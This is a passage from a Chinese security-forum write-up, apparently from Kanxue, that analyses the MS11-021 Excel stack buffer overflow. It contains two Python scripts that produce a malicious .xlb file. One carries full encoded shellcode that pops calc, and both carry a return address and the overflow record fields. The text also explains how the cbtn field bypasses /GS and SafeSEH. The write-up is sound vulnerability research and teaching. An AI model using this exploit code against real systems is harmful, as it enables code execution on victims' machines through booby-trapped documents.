import sys def main(): fdR = open('src.xlb', 'rb+') strTotal = fdR.read() str1 = strTotal[:1536] # 0x600 src1 = strTotal[1536:1653] # 0x600 - 0x675 retn_addr = "\x67\x86\x86\x7c" src2 = strTotal[1657:1693] # 0x679 - 0x69d zero = "\x00\x00\x00\x00" # shellcode我没改,还是原来原本中弹计算器的代码 shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode += '\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41' str2 = strTotal[1940:] # 这里选择的是src.xlb中仍旧在\x90范围内,但比较靠后的一个位置 fdW= open('exploit.xlb', 'wb+') fdW.write(str1) fdW.write(src1) fdW.write(retn_addr) fdW.write(src2) fdW.write(zero) fdW.write(shellcode) fdW.write(str2) fdW.close() fdR.close() print '[-] Excel file generated' if __name__ == '__main__': main()

使用上述脚本生成的exploit.xlb,打开后可以成功弹出计算器。


3.3 关于exploit.py这个文件


从上面的脚本中可以看出需要修改的数据并不多,这时由于src.xlb中本身已经包含了一些特殊数据,这部分内容不需要再做修改,所以我并没有写相关代码。
 
但是在书中原本提供的python脚本中,也提供了这一部分数据,可以在这里看一下:
def main(): try: fdR = open('src.xlb', 'rb+') strTotal = fdR.read() str1 = strTotal[:1556] # 0x614 str2 = strTotal[2385:] # 0x951 recordType = "\xA7\x00" # 0xA7标志 recordLenght = "\x04\x00" # 长度 0x4 field1 = "\xB0" field2 = "\x0F\x0C" # 0xc0f 用于获得超大的栈偏移 field3 = "\x00" field4 = "\x3C\x00" # 0x3c标志 field5 = "\x00\x03" # 长度0x300 数据复制长度,导致发生溢出 record = recordType + recordLenght + field1 + field2 + field3 + field4 + field5 eip = "\xDF\xD6\xD5\x3B" # Call ESP # shellcode calc.exe 这里是shellcode代码,同时在后面补充了\x90,保证总长度在0x320 shellcode = ... fdW= open('exploit.xlb', 'wb+') fdW.write(str1) fdW.write(record) fdW.write("\x41") # pad fdW.write(eip) fdW.write("\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") # 这里就是在保证判断是否为0是能够成功跳转 fdW.write(shellcode) fdW.write(str2) fdW.close() fdR.close() print '[-] Excel file generated' except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1)

可以看到,这个脚本在偏移0x614之后就开始对src.xlb文件内容进行替换了,但是实际上前半部分替换的内容和src.xlb中原本的内容是一样的,不过这样显然更清晰,因为这些内容也和漏洞利用相关。
 
除此之外,脚本中返回地址放置的位置更加靠前,与我的测试环境不符,也正是由于这个原因,我在使用书中自带的exploit.xlb时,没能弹出计算器。



4


总结


在前面的几周中,我根据漏洞原理的不同分析了几种不同的漏洞,也遇到了IE漏洞这个难啃的骨头,再回过头来看栈溢出漏洞,能明显感觉到分析的过程轻松了很多。
 
漏洞的前半部分分析根据书中所说的“污点追踪”的方法,确定了要找到0x300的数据来源,但是之后确定call_vulFun和valFun的调用关系,src.xlb文件中数据对于程序执行流程的影响,都需要一步步的在调试器中跟踪,并分析IDA中的代码,能够分析下来,一定要感谢之前调试IE漏洞的经历。
 
之前开始学习的Exploit编写系列教程,对于此次漏洞分析也很有帮助,可以感到对整个漏洞利用的流程掌握更加清晰,而且在调试过程中,会很快想到应该在哪个位置下断点。
 
关于漏洞利用方法,还有一点技巧是在看Abysssec的文章时注意到的,因为这个漏洞可以根据cbtn字段设置数据复制的目标地址,所以可以利用这个方法绕过程序中本身存在的/GS , SAFESEH保护手段。这也是漏洞利用文件中,cbtn要设置那么大的值的原因。



5


参考资料


《漏洞战争》

Microsoft Excel 2007 SP2 Buffer Overwrite Vulnerability BA / Exploit (MS11-021)
(https://abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/)

【文档】[MS-XLS]: Excel Binary File Format (.xls) Structure
https://abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/



 


看雪ID:LarryS

https://bbs.pediy.com/user-home-600394.htm

*本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区



官网:https://www.bagevent.com/event/6334937



# 往期推荐

1. 混淆后OKHTTP框架的通用抓包方案探索

2. Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF

3.CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

4. 高Glibc版本下的堆骚操作解析

5.新人PWN堆Heap总结off-by-null专场

6. CVE-2012-3569 VMware OVF Tool格式化字符串漏洞分析



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存